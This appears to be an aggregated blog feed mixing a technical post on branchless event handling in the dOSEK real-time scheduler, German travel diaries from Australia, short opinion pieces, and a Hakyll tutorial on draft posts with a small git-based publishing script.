The core of dOSEK is the priority-driven scheduler. Since OSEK is a static operating-system standard, we know, for a specific system, exactly how many threads exists. This number will never change, it is configured at compile time. The scheduler selects always the thread with the highest priority that is runnable and executes it. In dOSEK, a thread is runnable, if its priority is larger than the priority of the idle thread. In pseudo code, the scheduler/dispatcher looks like this:

schedule() {
   current_thread = idle_id;
   current_prio   = idle_prio;

   updateMax((current_thread, current_prio),
             (thread_1_id, thread_1_prio));

   updateMax((current_thread, current_prio),
             (thread_2_id, thread_2_prio));

   updateMax((current_thread, current_prio),
             (thread_3_id, thread_3_prio));

   switch_to_thread(current_thread);
}

The scheduler is generated for the specific system (in this case, for a system with 3 threads), and contains a updateMax() cascade. updateMax() is a hardened operation, that updates the first input tuple with the second one, iff the priority of the second argument-tuple (second tuple, second item) is higher than the priority of the first tuple. In the first cascade element, current_thread is set to thread_1_id, if current_prio < thread_1_prio. In pseudo code:

updateMax((a, b), (c, d)) {
  if (b < d) {
    (a, b) = (c, d);
  }
}

Events in OSEK

In OSEK, events are the only possibility for a thread to wait on something. Each thread can receive a number of event signals. With the system call WaitEvent(), a thread can wait for one or more events to happen. If any of the events from the list got signaled by another thread with SetEvent, the waiting thread unblocks. Signals are not automatically cleared, but must be cleared explicitly by ClearEvent.

A version with branches can be implemented by two bit masks:

 struct Thread {
  ...
  event_mask_t events_waiting;
  event_mask_t events_set;
  ...
};

SetEvent(Thread t, event_mask_t m) {
   t.event_set |= m;
}
WaitEvent(Thread t, event_mask_t m) {
   t.event_waiting = m;
}
ClearEvent(Thread t, event_mask_t m) {
   // Remove the event mask bitwise
   t.event_waiting &= ~m;
   t.event_set     &= ~m;
}

Schedule() {
   ...
   if (thread_1.event_waiting != 0
       || (thread_1.event_waiting & thread_1.event_set) != 0) {
      updateMax((current_thread, current_prio),
                (thread_1_id, thread_1_prio));
   }

In this simple variant, we maintain a event_waiting mask containing a bit mask of events a the thread is waiting for. The event_set bit mask holds a bit mask of signaled events. If a thread is waiting, and none of the waited signals is set, we exclude the thread from the updateMax() cascade. It is blocked.

But there is one problem with dependability: we have branches. Branches are evil; making them resilient against soft-errors is hard. Therefore, we want to have a branchless version.

Events in dOSEK

Shortly explained, in the branchless version, we let the priority of a thread drop below the idle priority, if it currently blocks. Therefore, we calculate a blocking term for every thread that is either zero or the highest priority in the system. This blocking term is subtracted from the thread priority, when calling updateMax():

updateMax((current_thread, current_prio),
          (thread_1_id,    thread_1_prio - blocking_term));

For each event, a thread can receive, we have two integer variables W (for waiting) and S (for set). Both variables can have two values: either 0 or High (for highest priority in the system).

In this diagram, we see all four states a event can have. A event is a tuple of (W, S). The set() and clear() operations set override the tuple. If we want to wait for an event mask, we set the W flag accordingly for all events a thread can wait for:

struct Event {
   int W;
   int S;
};

Event thread_1_event_a;
Event thread_1_event_b;

...
WaitEvent(Thread t, event_mask_t m) {
   // t is always known at compile time, and this cascade is generated for the system.
   if (t == thread_1) {
      if (m & 1)
         thread_1_event_a.W = High;
      else
         thread_1_event_a.W = 0;

      if (m & 2)
         thread_1_event_b.W = High;
      else
         thread_1_event_b.W = 0;
   }
}

But how can we now deduce the blocking_term from the event states? First we calculate the blocking_term for a single event. We use a matrix notation that captures all four states from the diagram shown before.

By the blocking term, we generate a term for each event that is only 0, if the event was used for blocking and is set. In all other cases, the blocking term is High. We achieved this by using only bit wise XOR and OR operation. We're still branchless! :-)

We combine now all blocking terms of all events a specific task can wait for with AND. The result is only zero if at least single event, which is on the waiting list, is set. Furthermore, we determine whether we can block in the first place, by combining all W states with OR. The should_wait variable is either High, if we're waiting; or 0 if we're not waiting.

does_block  = blocking_term(thread_1_event_a) & blocking_term(thread_1_event_b);
should_wait = thread_1_event_a.W | thread_1_event_b.W;
blocking_term = should_wait & blocking_term;

Combining both variables with AND, we achieve our blocking term. Branchless. And we can subtract it, before we call the updateMax(), from the threads priority.

February 07, 2015

Thorsten WißmannAm Strand

Zwei mal wurde ich von meinem Betreuer und seiner Familie zum Strand mitgenommen. Canberra liegt jedoch fast schon im Landesinneren: bis zur Küste sind es ca. 2 Stunden mit dem Auto über die Landstraße — eine Autobahn gibt es nicht.

Damals bei meiner Busreise von Melbourne nach Sydney fuhr der Bus angeblich auf einem Highway. Interessanterweise hatte dieser keine Autobahnauf- oder -abfahrten sondern war einfach über gewöhnliche Kreuzungen (ohne Ampeln) an das restliche Straßennetz und an Tankstellen angebunden.

Aber zurück zum Strand: am 27. Dezember badeten wir am Maloneys Beach und am 7. Februar zusammen mit einem Arbeitskollegen mit dessen Familie am North Broulee Beach.

Die Anfahrt

Bei beiden Fahrten machten wir im historischen Braidwood Pause. Die Kleinstadt scheint wohl eine der älteren in Australien zu sein und deren Archtektur erinnert stark an den Wilden Westen — besonders in Kombination mit trockenem Wetter.

Die Strecke von Braidwood zur Küste führt durch gebirgiges Waldgebiet. Die Straße schlängelt sich mit unzähligen Serpentienen den einen nach dem anderen Berg hoch und runter. Leider war es nicht möglich, die Aussicht von der hinter den Bäumen versteckten Straße per Kamera festzuhalten. Eine Besonderheit war in einer 180°-Kurve zu finden: in einer kleinen Höhle — dem Pooh Bear’s Corner — hatten sich etliche Plüschtiere angesammelt.

Maloneys Beach

Auch wenn die Sonne den Tag ganz schön aufheizte, war das Wasser der ruhigen Bucht deutlich kälter als erwartet. Für Aufregung neben dem Badespaß sorgte ein Mäusebaby, welches auf einmal unter meinem Rucksack auftauchte und scheinbar von Ameisen gejagt wurde, welche sich überall an dessen Körper festbissen. Da keine Mutter oder Höhle zu finden war befreiten wir das Mäusschen von den Ameisen und versuchten vergeblich es zu füttern. Im Laufe des Tages tauchten noch zwei weitere Mäusschen auf, eines davon raste über den Sand auf der Flucht von den Ameisen. Nachdem die drei nicht überlebensfähig schienen, nahmen wir sie mit nach Canberra, wo sie dann trotzdem in der darauffolgenden Nacht verstarben.

North Broulee Beach

Hier war die Situation gewissermaßen umgekehrt: das Wetter zwar warm aber durch den Wind gefühlt sehr kalt, das wilde Wasser jedoch schön warm. Außergewöhnliches ist nichts passiert, die Bilder sagen alles.

Die Heimfahrt

Erschöpft vom Tag konnte ich nocheinmal die Landschaft und besonders diesen schönen Sonnenuntergang hinter den Wolken bewundern:

Alle Bilder in chronologischer Reihenfolge

February 06, 2015

Maximilian HenryPanorama Schummelei

Für das Erstellen von Panoramabildern gibt es mehr als einen Weg und der häufige Kompromiss liegt zwischen Qualität und Bedienbarkeit. Auf dieser Skala immer relativ gut schneidet meiner Meinung nach Microsoft ICE ab, welches jetzt in einer 2. Version erschienen ist, die alles verändert. So lassen sich jetzt Panoramen aus Videos erstellen, es gibt mehr Einflussmöglichkeiten und, der Titel deutet es schon an, Es gibt einen Schummelmodus nahmens "auto completion" der Fehlende Bildteile versucht zu erraten, ähnlich dem Smartfill aus Photoshop und auf diesem Weg das Beschneiden von Bildern sparen soll. Auf den ersten Blick liefert diese Funktion durchwachsene Ergebnisse und ich werde in Zukunft wohl doch weiter die Panoramen zurecht stutzen, statt Dinge dazu zu erfinden.

Thorsten WißmannZwei Tage Sydney

Mit einer 12-stündigen Busfahrt ging es über Nacht von Melbourne ins 900 km entfernte Sydney. Die Stadt empfing mich um 7 Uhr früh, am 28. Februar, mit heftigen Regen, welcher bis in den Nachmittag anhielt.

Der erste Tag

Netterweise hat mich Caity, die ich im Dezember bei der Logic Summer School in Canberra kennenlernte, etwas durch Sydney herumgeführt und eine Übernachtungsmöglichkeit angeboten. Mit der Fähre sind wir vom südlichen Stadtteil Cronulla über den Bundeena Bay zum Royal National Park gefahren. Da es relativ stark regnete, haben wir leider vom Nationalpark nicht viel gesehen und sind recht bald wieder zurück. Bevor es nach Hause ging, schauten wir noch kurz zum verregneten Strand von Cronulla, der bei schönerem Wetter sicherlich ein Bade- und Surf-Paradies ist. Leider gibt es keine Bilder von von diesem Tag — ich hab einfach nicht daran gedacht.

Der Zweite Tag

Bei Sonnenschein machte ich mich dann alleine auf die Socken, ein paar Standard-Attraktionen in Sydney abzuklappern. Los ging es mit Darling Harbour und Cockle Bay. In der Mall vor Ort ist auch das Hard Rock Cafe Sydney zu finden. Für die Pop-Freunde waren dort sogar original Bühenoutfits von Rock-Legenden wie Pink, Cher oder Beyoncé ausgestellt.

Der Weg zum Sydney Opera House führte durch die Innenstadt Sydneys. Im Gegensatz zu Melbourne stieß ich hier auf keinerlei Fußgängerzone, dafür aber auf einige ganz schicke historische Malls.

Am Hafen angelangt durften die Selfies mit dem Opernhaus im Hintergrund natürlich nicht fehlen. Viel gibt es hier nicht zu berichten. Ein bemerkenswertes Detail ist der Hotel-Pool mit Blick aufs Opernhaus und den Rest des Hafens. Abgesehen davon sagen die Bilder eigentlich alles.

Während des Rückwegs zum Bus zurück nach Canberra gab es noch zwei kleinere Highlights: zum einen die Asian-Cup Busse — evtl. der einer Nationalmanschaft? Der Asian Cup fand nämlich gerade in Australien statt, der Gastgeber holte sich sogar den Titel. Das andere Highlight war das Bavarian Bier Café, welches bayrische Biere und Brezen verkauft. Zum Probieren war meinerseits leider nicht genug Zeit und zu viel Abneigung den Preisen gegenüber vorhanden.

Alle Bilder

Thorsten WißmannMelbourne Teil 2

Nachdem ich den vorherigen Blogeintrag in Melbourne schrieb, sind wir noch zum Eureka Skydeck, dem wahrscheinlich höchsten Wolkenkratzer in Melbourne und sicherlich auch der N-höchste auf der südlichen Hemisphäre.

Der Ausblick von dort aus dem 88. Stock war echt super. Von der Küste bis in die Innenstadt war echt alles super zu überblicken. Die Autos wirkten mit blosem Auge wie Spielzeugautos welche unglaublich langsam durch eine Miniaturewelt fuhren.

Die Aussichtsplattform war zum Glück hinter Glas. Denn auf dem Balkon draußen hat man es nicht lange ausgehalten: die Tage war es schon auf dem Boden Melbournes enorm windig, und dementsprechend sehr stürmig auf diesem Balkon.

Der ganze Spaß ist jedoch nicht so billig wie man es von einmal Aufzug hoch- und runterfahren erwarten würde. Textaufgabe: Thorsten zahlt für den Besuch der Aussichtsplattform $13.50. Das schließt jedoch schon den Studentenrabatt von 50% und den YHA-Mitgliedsrabatt von 10% ein. Wieviel kostet ein reguläres Erwachsenenticket?

Alle Bilder

January 31, 2015

Maximilian Henrynot-so-safe-for-work

Neben diesem (richtigen) Blog, gibt es seit gerade eben noch eine suppe als semiautomatisch befüllte Ansammlung von oft nsfw-Inhalten. Diese Seite ist ein planet, welcher entgegen der eigentlichen Idee aber nicht mehrere Seite zusammenfasst, sondern nur aus einer Quelle befüllt wird. Diese Quelle ist der veröffentlichte Favoriten-Feed meines Tiny Tiny RSS feedreaders, welcher durch einen chronjob statisch zu dieser Seite gebacken wird. Abgesehen von etwas CSS frickeln, war das echt schnell aufgesetzt und komplett problemlos.

January 27, 2015

Thorsten WißmannHappy Australia Day aus Melbourne

Ich wünsche euch allen einen Happy Australia Day aus Melbourne! (Wenn auch nachträglich…)

Was bisher geschah

Das Projekt endete am Freitag den 23. Januar, die Abschlussvorträge fanden sogar schon am Dienstag zuvor statt. Meinen Flug zurück nach Deutschland habe ich erst für den 9. Februar gebucht, sodass ich bis dahin noch etwas Zeit habe, mir mehr vom Canberra und auch von anderen Städten anschauen zu können.

Erste Etappe: Melbourne

Deshalb ging es am Samstag Abend um 23:55 Uhr von Canberra mit dem Nachtbus nach Melbourne, welches wir nach schlappen 8 Stunden erreichten. Der erste Eindruck bestand vor allem aus der unerwarteten Kälte die bis jetzt andauert (also unter 20°). Der Check-In in die Jugendherberge ist leider erst ab 13 Uhr möglich, und die Spints kosten stündlich. Erfreut hat mich jedoch das Ligretto-Set im Hostel.

St James' old Cathedral & Der Strand

Angeblich ist der Queen Victoria Market sehenswert. Auf dem Weg dorthin bin ich an einer Anglikanischen Kathedrale hängen geblieben: der St James' old Cathedral. Sie ist 1839 erbaut worden und damit eines der ältesten Gebäude der Stadt. Nach dem Gottestdienst, bin ich mit mehreren beim Morning Tee ins gespräch gekommen. Auf meine Frage hin, ob die Gemeinde hier eher liberal oder konservativ ist, wurde sie als konservativ eingestuft, wonach ich lieber nicht mehr nachgehakt habe.

Außerdem wurde mir angeboten, ob ich nicht Lust hätte, mit an den 30 Autominuten entfernten Strand spazieren zu gehen. Die Chance habe ich natürlich genutzt! Wie bereits am morgen war es auch hier fast eisig kalt durch den starken Wind. Der brachte auch schnelle Wellen mit sich und sorgte dafür, dass Seemöven regelmäßig in der Luft an einer Stelle schwebten. Abgesehen davon war der Strand schön, der Himmel Blau, der Sand hell, … (hier bitte beliebige weitere Strand-Feedback-Floskeln einsetzen).

Die Innenstadt

Melbourne ist sicherlich, wie Melbourne selbst von sich behauptet, die Kulturhauptstadt Australiens. Alle paar Straßenecken findet sich irgendein Musiker, Artist oder Maler. Da gab es z.B. denjenigen, der mit Sprühdosen Skylines von Städten malte, oder am Australia Day ein als Krümelmonster verkleideter Dudelsackspieler mit umgehängter Australien-Flagge, welcher Hits wie das Star Wars oder Auld Lang Syne trellerte. (Ein Bild war auf Grund der schlechten Lichtverhältnisse nicht möglich). Zu Kultur zähle ich jetzt auch die Gasse Hosier Lane, in welcher alle Wände durch Sprayer verziert wurden.

Angesprochen hat mich auch die eintrittsfreie Screen Worlds, eine Ausstellung rund um Unterhaltungselektronik mit Bildschirmen. Vom ersten Tomb Raider über Star Wars und C64 bis hin zu Smartphone war hier alles vertreten. Es hatte zwar gefühlt nicht viel mit Melbourne oder Australien zu tun, war aber trotzdem schön.

An alten Einkaufspassagen mit kleinen Läden mangelt es nicht in Melbourne. Da sagen die Bilder eigentlich schon alles. Selbiges gilt für historische Gebäude wie das Parlamentsgebäude, der Bibliothek und weiteren Kathedralen.

Weitere Eindrücke

  • Überall sind Deutsche anzutreffen.

  • Die Weihnachtsdekoration wurde an vielen Stellen noch nicht abgehängt.

  • Tagsüber ist so manche Hauptstraße wie leergefegt und abends ist auf der Fahrbahn und auf dem Gehsteig die Hölle los.

  • Das indische Restaurant OM Vegetarian bietet für $6,50 All-you-can eat an, insb. mit niemals endenden Brotnachschub. Für Australische Preise eine Sensation.

  • Eigentlich wollte ich ja den Queen Victoria Market besuchen. Die paar Stände davon, die ich heute sah, waren eine Mischung aus Flohmarktständen und Ramsch-Vertick-Ständen, wie man sie in Touristenballungsgebieten antrifft.

Alle Bilder

January 24, 2015

Maximilian Henryhallo auf maxfragg.de

nur als kleiner Kommentar, dieser Blog läuft von nun an unter neuer url

January 23, 2015

Maximilian HenryPostcrypto

Nach Snowden schien der Weg klar,
Verschlüsselung ist Bürgerpflicht!
Der Staat hatte nicht versagt,
es waren seine Bürger.

Doch wenn Lösungen einfach scheinen,
dann sind sie es meist doch nicht.
Wenn wir uns alle absichern,
wie soll der Staat uns da noch schützen?

Schützen vor Terroristen,
die trotz Vorratsdatenspeicherung ohne jede Spur,
perfekt versteckt verschlüsselt planen,
so gut, dass bis heute jeder Beleg fehlt.

Wollt ihr denn nicht sicher sein?
Wollt ihr denn vor uns sicher sein?
Wollt ihr nicht beschützt werden?
Wollt ihr nicht frei sein?

December 27, 2014

Thorsten WißmannRegen in Canberra

Obwohl es Vormittags oft sehr sonnig bei strahlend blauem Himmel ist, sch체ttete es fast t채glich mittags oder nachmittags. Leider sieht das Wetter auf den Bildern deutlich unspektakul채rer aus, als es vor Ort tats채chlich wirkt.

December 08, 2014

Thorsten WißmannAustralian National Botanic Garden

Am Sonntag vor zwei Wochen besichteten wir bei über 30° den National Botanic Garden, welcher wenige Hundert Meter vom Burgmann College entfernt ist.

Schlangen sind wir zum Glück keinen begegnet, dafür einigen Echsen und Vögeln.

November 30, 2014

Thorsten WißmannAustralian War Memorial

Gestern Nachmittag besuchten wir das Australian War Memorial in der Innenstadt Canberras. Die Führung erzählte uns vor allem von Australiens Beteiligung in den zwei Weltkriegen und in Vietnam.

Im Innenhof, von dem man das Parlamentsgebäude sehen kann, sind auf Metalltafeln die Namen aller Gefallenen gelistet. Regelmäßig werden dort auch konkreter Gefallener gedacht, ebenso auch gestern für einen Soldaten des ersten Weltkriegs: es wurde seine Geschichte erzählt, ein Bild war zu sehen und die Familien legten Kränze nieder.

Thorsten WißmannDie Unterkunft

Für die Zeit während des Summer Research Scholarships bin ich im Burgmann College untergebracht. Es besteht aus etlichen Gebäuden, zur Zeit scheinen aber nur Summer Scholars untergebracht zu sein, der Rest scheint leer.

Besonders ist hier die Hauseigene "Mensa", in der Frühstück, Mittag- und Abendessen serviert werden — und das sieben Tage die Woche. Eine allgemeine Mensa an der Uni gibt es jedoch nicht. Das bedeutet, dass die meisten Mitarbeiter jeden Tag das Mittagessen selbst mitbringen. Die wenigen nahen Restaurants/Imbisse/Cafes in der Nähe sind etwas zu teuer, um dort täglich Mittag zu essen. Auf dem Campus befinden sich noch weitere Wohnheime mit Essensmöglichkeiten, aber eben nur für deren Bewohner. Man kommt deshalb zwar immer ins Wohnheim zum gemeinsamen Essen den anderen Scholars, jedoch nie mit den Büro oder Studienkollegen. Ich bin ziemlich froh, dass das in Erlangen (und anderen Unis in Deutschland) nicht so ist.

Dabei ist es umso verwunderlicher, dass das Burgmann College eigentlich Teil der ANU ist. D.h. die ANU hat indirekt über die Wohnheime mehrere Mensen auf dem Campus, aber eben keine Mensa für alle Uniangehörigen und für manche Uniangehörigen sogar gar keine Mensa.

Mein Zimmer scheint auch aus den Anfangszeiten des Colleges (von 1971) zu stammen. Die Grundfläche beträgt ca. 10 m², davon besteht 1-2 m² aus einem begehbaren Kleiderschrank mit Waschbecken:

    ┌────────────────────┬───┬─────┐
    │    ┌─────────────┐ │   │     └───┐
    │    │             │ │   │     ╭───│
    │    │             │ │   │     │   │
    │    └─────────────┘ │   │     ╰───│
    │                    └───┴─   ─────│
    │                                  │
    │                               ╲  │
    │                                ╲ │
    │┌────────────────────────┐       ╲│
    ││                        │        │
    ││                        │        │
    ││                        │        │
    │└────────────────────────┘        │
    └──────────────────────────────────┘

Mein Vormieter hat mir dankenswerterweise während seiner Abwesenheit seinen Kühlschrank und seine Klimaanlage überlassen. Die Klimaanlage habe ich noch nicht getestet, jedoch bestimmt wenn sich die Wohnung (im obersten dritten Stockwerk) noch weiter aufheizt.

Einmal in der Woche werden Bettzeug und Handtücher gewechselt. Dusche und Toilette befinden sich auf dem Gang. Auf dem Gang befindet sich ebenfalls ein riesengroßer Ventilator, der seit meine Ankunft durchgehend läuft.

November 22, 2014

Thorsten WißmannDie Reise nach Canberra

Los ging es am 19. November um 3 Uhr Mittags mit dem Zug nach Frankfurt am Main. Die ICE-Fahrt war sehr angenehm, es gab keine Verspätungen, und man konnte durch das Fenster ein paar Städte anschauen, z.B. Würzburg. Damit war ich mehr als rechtzeitig um 17 Uhr am Frankfurter Flughafen.

Der erste Abflug war um 20:15 Uhr, geplante Ankunft um 9:25 (am 21.) im 10 Stunden früheren Canberra — also eine Reisedauer von 27 Stunden (exklusive Zug). Die Umstiege waren in Dubai und Melbourne. Beim Einchecken gab es dann zwei kleinere Schocks:

  1. Ich reise in Melbourne nach Australien ein, deshalb muss ich in Melbourne meinen Koffer abholen, durch den Zoll nehmen und wieder für den letzten Flug nach Canberra einchecken.

  2. Ich hätte ab 24 Stunden vor dem Reiseantritt meine Sitzplätze in den Flügen kostenfrei online reservieren können. Jetzt sind aber nur noch die schlechten Plätze übrig.

Flug Frankfurt → Dubai

Nachdem es etwas gedauert hatte, bis ich beim richtigen Gate war, ging der Flug dann um 20:15 Uhr los. Mein Platz war auch gar nicht so schlecht:

                  _X_ ___ ___ _o_
   —o— —o— —o—    _o_ _o_ _o_ _o_     —o— —o— —o—       (X = ich)
   —o— —o— —o—    _o_ _o_ _o_ _o_     —o— —o— —o—       (o = besetzter Platz)
   —o— —o— —o—    _o_ _o_ _o_ _o_     —o— —o— —o—
        .            .       .             .
        .            .       .             .
        .            .       .             .

Das Entertainment-System war leider nicht so interessant, da das Audio-System nur auf einem Ohr Ton ausspuckte. Außerdem hing das Bedienfeld immer wieder und der Touchscreen reagierte auch langsam. Zum Glück hatte ich genug zu Lesen und mehr als genug Beinfreiheit.

Aufenthalt am Dubai International Airport

Nach 5 Stunden Flug bin ich um halb sechs Ortszeit in Dubai gelandet. Kurz darauf ging die Sonne auf — gefühlt innerhalb von Minuten. Das merkte man jedoch nur an der Helligkeit der milchigen Glasfenster. Aber mehr als ein paar Flugzeuge lassen sich von innen nicht erkennen.

An sich sieht der Flughafen von innen aber genauso wie jeder andere Flughafen aus (abgesehen von der Ausschilderung und dem Personal natürlich). Wie in Deutschland wird auch hier an öffentlichem WiFi gegeizt. Mit unbegrenztem Geld könnte ich hier zwar einen Duty-Free Porsche Cayenne kaufen, aber nicht 1 Minute WiFi.

Der Flug Dubai → Melbourne

Um 10:15 Uhr Ortszeit startete dann der längste Flug von 14 Stunden. Hier war der Platz, den ich im Airbus A380 hatte, nicht so angenehm:

        .            .       .             .
        .            .       .             .
        .            .       .             .
   _o_ _o_ _o—    _o_ _o_ _o_ _o_     _o_ _o_ _o_       (X = ich)
   _o_ _o_ _o—    _o_ _o_ _X_ _o_     _o_ _o_ _o_       (o = besetzter Platz)
   _o_ _o_ _o—    _o_ _o_ _o_ _o_     _o_ _o_ _o_
        .            .       .             .
        .            .       .             .
        .            .       .             .

Zum Ausgleich dafür funktionierte das Entertainment-System sehr gut. Neben der kompletten Beatles-Diskographie gab es fast alles von Pink Floyd, ein bisschen von Jimi Hendrix und sogar In the Court of the Crimson King von King Crimson. Außerdem konnte ich mich mit meinem Laptop in das onboard Free WiFi einloggen und Mails herunterladen. Das Verbinden hat allerdings nur einmal geklappt. Bei allen späteren Versuchen konnte ich mich zwar mit dem W-Lan verbinden, aber keinerlei Netzwerkverbindungen eröffnen. Somit konnte ich das gratis 10MB-Paket gar nicht voll ausnutzen.

Auf dem langen Flug wurden drei Mahlzeiten serviert. Die Bestellung der Vegetarischen Alternative durch das Reisebüro ist aber anscheinend nicht bis zur Flugzeugbesatzung durchgedrungen. Beim fleischigen Hauptgericht war das sehr unpraktisch. Aber nach mehrfachen ansprechen der Flugbegleiter und einiger Zeit hab ich dann glücklicherweise noch eine übrig gebliebene vegetarische Portion erhalten.

Am Flughafen Melbourne

Da die letzte Etappe nach Canberra ein reiner Inlandsflug war, musste ich bereits in Melbourne in das Land Australien einreisen, meinen Koffer abholen, damit durch den Zoll und dann wieder einchecken. Der Ablauf wurde dadurch spannender, dass ich dafür nur eine gute Stunde Zeit hatte: Der Flieger aus Dubai landete um kurz vor 7 und der Flug nach Canberra startete um 8:20 Uhr.

Das Einreisen an sich war absolut problemlos: ich bekam mein bereits online beantragtes Visum in den Reisepass gestempelt und konnte weiter zum Gepäckband. Dort bangte ich bestimmt 20 bis 30 Minuten bis endlich der Koffer auf dem Band erschien.

Beim Zoll kam ich auch direkt dran. Ich sollte Koffer und Rucksack auf im Gang abstellen, sodass der Drogenspürhund schnuppern konnte. Leider schlug er beim Geruch des Rucksacks Alarm, weshalb sowohl Rucksack als auch der prall gefüllte Koffer durchsucht wurden. Schnell war klar, dass eine Tüte Weihnachtsplätzchen die Aufmerksamkeit des Hundes auf sich gezogen hatten. Aber trotzdem wurde mein Koffer weiter durchsucht. Nach ein paar Minuten des Bangens durfte ich dann das ganze Zeug wieder einpacken — bei einem durchwühlten Hartschalenkoffer nicht so einfach.

Das erneute Einchecken des Koffers verlief unerwartet: man checkt einfach an einem Automaten mit Reisepass ein und stellt seinen Koffer dann anschließend aufs Band, ohne je mit einem Angestellten zu sprechen. Danach ging es erneut durch den Security Check und zum Gate. Für das Kaufen von Getränken war leider keine Zeit, da es mittlerweile kurz vor 8 war und der Getränkeautomat meine Australischen Banknoten nicht akzeptierte.

Flug nach und Ankunft in Canberra

Zum Glück wurden auf dem um 8:20 Uhr startenden Flug nach Canberra ausreichend Getränke serviert. Außerdem konnte ich die Aussicht am Fensterplatz genießen:

        .       .      .
        .       .      .
   _o_ ___ _o_    _o_ ___ _X_
        .       .      .
        .       .      .

In Canberra angekommen wartete bereits Dirk Pattinson — mein Betreuer hier vor Ort — auf mich, der mich dankenswerterweise vom Flughafen abholte. Wir sind anschließend zum Burgmann College gefahren — eine Art Studentenwohnheim mit Mensa und Rezeption, in dem ich bis Ende Januar untergebracht bin. Dort konnte ich meinen Koffer lassen, bevor wir kurz zum Unigelände gelaufen sind und Dirk mir sogar ein Fahrrad für die Zeit hier geliehen hat. Damit bin ich nun wohl komplett angekommen und sogar mobil.

Alle Bilder

November 12, 2014

Maximilian HenryMerkel 2020

Der folgende Text entstammt einem Küchengespräch mit meinem Mitbewohner und ist das >Ergebniss unserer Spekulation. Wir halten dieses Szenario selbst nicht für >besonders Wahrscheinlich, aber doch für beachtenswert.

Wir befinden uns im Jahr 2014, Angela Merkel ist seit 2005 Bunderskanzlerin und kein Ende ist abzusehen. Die SPD ist eingelullt in eine große Koalition, aus welcher sie heraus keinen Machtwechsel erreichen kann und auch im eigenen Lager hat Angela keine ernste Konkurenz. Kann Merkel sich also Ausruhen und entspannt in die Zukunft blicken, oder gibt es doch noch ernste Ziele für sie?
Lasst uns ein kleines Planspiel wagen, welches in unseren Tagen beginnt und versucht, herauszufinden, was ein mögliches Ziel für die Kanzlerin sein könnte.

In Deutschland scheint ihr einzig mögliches Ziel Machterhalt zu sein und da tickt trotz ungebrochener Popularität die Uhr. Selbst die beliebtesten Kanzler will man nicht auf ewig und schon heute leben genug Kinder, die nie einen anderen Kanzler gekannt haben. Dessen ist sich Angela sicher bewusst, also sollte sie an ihre Zukunft denken. In die Wirtschaft gehen und Beraterverträge kassieren wäre sicherlich lukrativ, scheint aber kaum ihr Stil zu sein. Merkel ist zu größerem Bestimmt und die Macht, steht ihr viel zu gut.

Eine mögliche Lösung, welche ihr Macht auf längere Zeit sichert, wäre die Spitze der EU, doch warum würde man sie auf diesem Posten wollen und wie bekommt man ihn attraktiv? Der momentane EU-Kommisionspräsident ist viel zu Machtarm, nein Angie strebt nach mehr! Und was wenn sie die Krisen der EU, welche wir alle schon sehen Schottland, Katalonien und die spanischen Schulden, sich alle mit einem versprechen lösen liesen? Das Versprechen müsste groß sein! Eine starke EU, möglichst ohne England, die Staatschefs gebeutelter Staaten von der Verantwortung entbindet. Darauf könnte Deutschland hin wirken und am Ende würde Merkel sich selbstlos als Retterin ans Steuer stellen und hätte Deutschland auf dem besten Weg verlassen, nach oben auf der Machtpyramide!

October 01, 2014

Thorsten WißmannBald beginnt die Reise… oder: über diesen Blog

In guten zwei Wochen beginnt meine Reise fßr die ich diesen Blog ins Leben gerufen habe. Innerhalb von ca. 27 Stunden werde ich von Frankfurt am Main in die Australische Hauptstadt Canberra reisen, wo ich fßr 2½ Monate an der Australian National University leben und arbeiten werde.

Immer wenn etwas schreibenswertes passiert, werde ich hier davon berichten!

September 24, 2014

Florian SchmausDraft Posts with Hakyll

Posted on September 24, 2014
Tags: hakyll

Draft Posts are posts that don’t show up in your posts lists, but are available if you know the URL, so you can share them easily with a few selected editors before you officially publish them. They should not appear in the site’s archive or in any feed until published.

There are many different approaches to add support for draft posts to Hakyll. Most of them involve a special metadata field, for example “published: true” or “draft: true”, to mark such posts as drafts. I decided against a metadata field, in favor of a simpler solution: Draft posts are put into the posts/drafts folder. In order to publish them, you simply move them into the posts/ folder.

First we need a filter function that will filter out all draft posts from appearing in the archive or the feeds.

nonDrafts :: (MonadMetadata m, Functor m) => [Item a] -> m [Item a]
nonDrafts = return . filter f
  where
    f = not . isPrefixOf "posts/drafts/" . show . itemIdentifier

Then we create a new function that will replace the existing recentFirst function.

recentFirstNonDrafts :: (MonadMetadata m, Functor m) => [Item a] -> m [Item a]
recentFirstNonDrafts items = do
                       nondrafts <- nonDrafts items
                       recentFirst nondrafts

Now s/recentFirst/recentFirstNonDrafts in you hakyll configuration (usually site.hs). And since we introduced a sub folder in posts/, the glob for posts need to be changed to look into sub folders too. This is done by s;posts/*;posts/**;

Because draft posts don’t have a date set, we need to set a default date for every post without a date. First you need to configure a context that will add a default date for every draft post

defaultDateContext :: Context a
defaultDateContext = Context $ \k i ->
  let itemPath = show $ itemIdentifier i in
  if (isPrefixOf "posts/drafts/" itemPath) && (k == "date")
    then (\_ -> do return (StringField "1970-01-01")) i
    else empty

Then this context needs to configured as postCtx. I do this with

postCtx :: Tags -> Context String
postCtx tags = mconcat
    [ defaultContext
    , defaultDateContext
    , dateField "date" "%B %e, %Y"
    , tagsField "tags" tags
    ]

Finally I’ve written a little convenience script to publish the posts. It will check if the git repository is clean, move the draft posts into the posts/ folder and prepend a date string (i.e. the date the post got published).

#!/bin/bash -e

if ! [[ -f $1 ]]; then
	echo "$1 is not a file"
	exit 1
fi

if ! git diff --exit-code; then
	echo "Error: Unstaged changes found, please stage your changes"
	exit 1
fi

if ! git diff --cached --exit-code; then
	echo "Error: Staged, but uncommited changes found, please commit"
	exit 1
fi

declare -r POST=$(date +%Y-%m-%d)-$(basename ${1})

git mv $1 posts/${POST}

git commit -m "Published $POST"